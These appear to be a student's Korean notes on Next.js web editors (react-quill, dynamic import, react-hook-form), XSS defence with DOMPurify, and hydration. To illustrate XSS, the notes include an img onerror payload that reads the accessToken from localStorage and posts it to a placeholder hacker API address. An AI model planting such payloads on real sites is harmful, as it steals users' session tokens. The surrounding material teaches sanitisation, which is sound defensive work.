---

1. Web-Editor
2. Cross-Site-Script(XSS)
3. Hydration-Issue

---

웹 에디터

웹 에디터 소개

react-quill
react draft wysiwyg (위즈윅)
toast-ui/editor : 노션형태로 만들 수 있게끔 하는 웹 에디터
우리는 다운로드 수가 많은 react-quill로 실습한다…!

yarn add react-quill

export default function WebEditorPage() {
  return (
    <div>
      작성자 : <input type="text" />
      비밀번호 : <input type="password" />
      제목 : <input type="text" />
      내용 : <ReactQuill />
      <button>등록하기</button>
    </div>
  );
}

→ 이 문제를 해결하기 위한 방법
import를 동적으로 내가 원할 때만 할 수 있다

import dynamic from "next/dynamic";

리액트에서는 문제가안되는데, next.js를 쓰면 프리렌더링을 하기 때문에 그 부분에서 문제가 생긴다

//전역
const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });
// ssr:false | 서버에서는 렌더링 하지 마세요 

onchange에 이벤트로 뭘 하던간에 개발자들이 만들어놨기때문에, 입력한 값이 들어오게끔 만들어놨음

{...register("writer")}
// writer라는 state가 만들어지고, onchange가 만들어진다 . 그 다양한 기능을 spread 

// reactquill에는 이미 onchange라는게 있었으므로 {...register("title")} 사용을 하지 못한다
// 내용 : <ReactQuill onChange={onChangeContents}  {...register("title")}/> 사용 못함

// 해결방법
// 수동으로 강제로 넣어주는 방법 존재, setValue 
const onChangeContents = (value: string) => {
    console.log(value);
    setValue("contents", value); // value만 들어갔지 change가 되었는지는 모름
		trigger("contents"); // onChange 됐다고 react-hook-form에 강제로 날려주는 기능
  };

저거 때문에 컨텐츠가 비어있을 수가 없다

setValue("contents", value === "<p><br></p>" ? "" : value);
// 삼항으로 저거 일 때 빈 값으로 바꿔주라고 조건 설정 

---

submit → detail
다이나믹 라우팅을 위한 [id]

<div>내용 : {data?.fetchBoard.contents}</div>

<divdangerouslySetInnerHTML={{ __html: data?.fetchBoard.contents }}></div>

XSS ( Cross Site Script )

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

// "<img src='#' onerror='console.log(localStorage.getItem(\"accessToken\"))'/>”

가장 많이 사용된 공격들 : owasp top 10

공격을 막기위한 라이브러리

yarn add dompurify
yarn --dev @types/dompurify

서버에서 프리렌더링 할때는 하지마라라는 조건 적용

{typeof window !== "undefined" && (
        <div
          dangerouslySetInnerHTML={{
            __html: Dompurify.sanitize(data?.fetchBoard.contents),
          }}
        ></div>
      )}

삼항으로 해줘야 blue 색깔이 제대로 나온다

{typeof window !== "undefined" ? (
        <div
          style={{ color: "blue" }}
          dangerouslySetInnerHTML={{
            __html: Dompurify.sanitize(data?.fetchBoard.contents),
          }}
        ></div>
      ) : (
        <div style={{ color: "blue" }} />
      )}

Next.js

React는 프리렌더링 x

Q : Next가 더 느린거 아닌가요? (4단계니까)
A : ❌. React는 브라우저 안에서 페이지를 다 만들어놓고, 주소를 보고 다른페이지다!하면 저거보여주고, 모든 주소가 다 가짜주소 (client size rendering..?)

React

장점 : 페이지 이동 시 서버에 재요청 하지 않음 (페이지 이동 엄청 빠름(CSR, SPA)
단점 : 최초 접속이 너무 느리다 (여러개 더 있긴하지만 넘어감)
→ 개선 : Next.js
배포하는 과정이 들어갈 때,build를하게되면 최적화 과정이 이루어지는데 이때 모든 페이지를 pre-rendering해서 미리 파일을 만들어놓음
접속을 하면 미리 다 rendering 되어있으니까 최초 접속이 빠르며 그 페이지에 해당하는 js만 추가로 적용 (hydration)
2번렌더링을 하는데, 최초접속을 어케 빨리보여주는게 프리렌더링 . 그래서 원래는 더 느린게 맞지만, 서버에서 이미 모든 파일들을 rendering 해놨으므로 더 빠르게 된다

배포
yarn build (최적화)
yarn start (배포)

서버에서 그리는 부분과 우리가 브라우저에 그리는 부분이 같아야 함
버튼을 클릭했을 때 저함수를 실행하고싶다

const onClickAAA = () {
	const ReactQuill = dynamic(() => import("react-quill"), {str:flase)
}

// 필요할 때만 downloading하니까 효율적 (code-Splitting, 웹최적화)